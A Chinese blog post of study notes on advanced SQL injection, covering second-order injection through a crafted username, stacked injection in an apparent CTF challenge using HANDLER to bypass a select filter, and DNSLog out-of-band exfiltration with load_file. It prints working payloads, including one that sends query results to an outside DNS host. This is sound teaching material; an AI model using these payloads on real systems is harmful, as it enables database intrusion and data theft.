当前位置: 首页 > article >正文

小迪笔记 第四十五天 sql 注入进阶 :二次注入,堆叠注入,数据读取(load_file)加外带

二次注入

概念:就是我们注入的语句(刚注入时 不会产生影响)但是我们的恶意代码会进入数据库  他在被二次利用的时候就会进行执行  这个就是二次注入

这个的典型案例就是账号密码的修改 : 大家应该也知道 账号注册一般是禁止你使用恶意符号的是吧,那为什么呀?(文末有所用的源码和工具)

就是我们如果把账号 设置为   a' updatexml(1,concat(0x7e,database(),1) #

密码是123456

我们第一次登录  数据库执行 :   insert  into  admin(username,password)  values( '  a' updatexml(1,concat(0x7e,database),1) #  ' ,'123456')    那这样不直接就执行了吗?

其实我上一个文章  说到了一个就我们注入的时候   ' '  被改为了   \'\'  这个符号  这个就是转义字符

实际上我们的输入会被一个转义字符函数   或者php魔术方法

转义之后就成了

insert  into  admin(username,password)  values( '  a\' updatexml(1,concat(0x7e,database),1) \#  ' ,'123456') 

那这样还执行个毛啊

但是这个被保存到数据库之后  就会变为原样

演示:

我这边的数据库    是什么也没有的   那我们执行上边的语句看看什么情况   

执行: 没有执行但是插入到数据库了

当我们修改密码的时候那直接遭殃了    修改密码 有两个形式  : 1、知道密码的修改  2、忘记密码的修改 第二个在这就不会形成二次注入    

1修改密码的语句  : update users set password='新密码' where username='a' updatexml(1,concat(0x7e,database),1) #'                       注入上了呀   是吧  

演示一下  

我们输入的时候发现  什么情况账号输不进去啊  ?  这个就是长度的限制  我们看看是前端的限制还是后端的  

直接 F12  进行查看  一看是前端的限制  那我们直接改掉就行了

接着玩

修改密码  这边我们没执行sql语句啊   就是新旧密码的更改

执行一下 会直接返回我们的数据库名  

这个的危害还是很大的   但是需要的条件  1、转义字符函数(为了把恶意代码植入到数据库中)  2、不会对我们的账号进行特殊符号的限制

堆叠注入

这个比 or1=1 还简单  就是我们看一下 

我们在数据内连接执行了两个数据库的语句  我们去网站上试一试 那你看好了   

创建了一个库

那这是什么情况啊?    其实就是我们修改了一下

multi  就支持我们进行多个语句的执行   这个就是这个漏洞的条件  (但是说实话这个的作用不大 因为谁你妹的会开开这个?找干?)

演示一个例题 

这个就是堆叠注入

看一下源码  他说 Sqlmap没有灵魂那我就手工注入了

直接   ';show databases;  # 注入得到 数据库名

得到这个表   Select * from 上边那一串数字

想一想怎么绕过  这里我想的是直接全部  url 编码试一下能不能绕过  发现还是被 挡住了

那就只能上绝活了  这里  不让我们使用  select    那我们使用个别的   这个handler的作用和mysql 的select

1';handler `1919810931114514` open;handler `1919810931114514` read next;handler `1919810931114514` close;#

这里有个注意点就是  我们的这个  表名字  必须使用  ` ` 包裹呀   为什么使用反引号 呀  如果我们使用单引号  就会直接给我们当字符串处理了   详细的请看这个大佬的文章

sql注入前置知识(information_schema数据库,预处理,反引号和单引号的区别与用法)_schema+表名的反引号sql-CSDN博客

数据回显的外带

下边这个很牛 x解决不回显,反向连接,SQL注入,命令执行,SSRF     但是限制条件就是  

secure_file_priv=''

我们的带外  语句就是    and load_file(concat('//','version()','.3c2hay.dnslog.cn//1.txt'))

这个3c2hay.dnslog.cn  是我们的带外网站  DNSLog Platform

解释:  load_file  表示进行文件的读取   这个1.txt 可以随便写   // 两个这个是防止转义符的  

version()  是执行的语句      那有人问  '//'  这你妹的是什么意思啊?   这个是我们访问网站的一个前缀

试一下

接受数据

总结

以上三个方法  二次注入 :1、需要有转义符

2、堆叠注入       条件:需要开启 mutil 多sql语句执行

3、带外  需要 secure_file_priv='' 服务  


http://www.kler.cn/a/429808.html

相关文章:

  • 微信小程序实现长按录音,点击播放等功能,CSS实现语音录制动画效果
  • Agentless:OpenAI 采用的非代理框架
  • 【计算机网络】lab3 802.11 (无线网络帧)
  • LLaMA-Factory web微调大模型并导出大模型
  • 一个基于Spring Boot的智慧养老平台
  • 适配器模式——设计模式
  • 数据分析:学习指南
  • DDR的跨4K问题
  • java的23种设计模式使用场景
  • 一文详解java中的方法
  • # issue 8 TCP内部原理和UDP编程
  • unity 让文字呈现弧度变化
  • 什么是MMD Maximum Mean Discrepancy 最大均值差异?
  • 《网络安全编程基础》之Socket编程
  • 【软件安装】Linux服务器中部署gitlab-runner实现CICD流水线
  • SSM01-MyBatis框架(一文学会MyBatis)
  • 微信小程序从后端获取的图片,展示的时候上下没有完全拼接,有缝隙【已解决】
  • JS 偏移量和鼠标位置
  • RabbitMQ中Fanout交换机的深入探讨
  • 高质量阅读微信小程序ssm+论文源码调试讲解
  • C# 中的静态构造函数和实例构造函数的区别
  • docker 部署seata
  • 思科模拟器路由器的基本配置
  • 数据挖掘:一、Weka软件的基本操作
  • ubuntu如何安装cuda 11.8版本